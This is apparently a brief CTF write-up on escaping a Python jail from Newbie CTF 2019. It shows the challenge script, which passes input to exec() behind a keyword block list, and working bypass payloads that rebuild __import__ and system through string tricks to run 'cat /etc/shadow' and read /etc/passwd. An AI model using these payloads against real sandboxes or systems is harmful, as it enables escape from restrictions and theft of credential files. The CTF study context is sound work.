Python Jails Escape

If we faced the Python script as follow, we cannot use common modules used for escalating privileges ("os", "system", etc.). It appeared in Newbie CTF 2019.

#! /usr/bin/python3
def main():
    text = input('>> ')
    for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
        if keyword in text:
            print("No!!!")
            return
        else:
            exec(text)

if __name__ == "__main__":
    main()
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We need to modify module names to allow us to execute them. This post explains in details.

Payloads

print(globals())
print(getattr(getattr(globals()['__builtins__'], '__im'+'port__')('o'+'s'), 'sys'+'tem')('cat /etc/shadow'))
__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('cat /etc/shadow')
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Payloads (input)

If the "eval" or "exec" modules are accepted, we can input arbitrary code.

eval(input())
# or
exec(input())

> print(open("/etc/passwd", "r").read())
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References

• https://dspyt.com/how-to-python-jail-escape-newbie-ctf-2019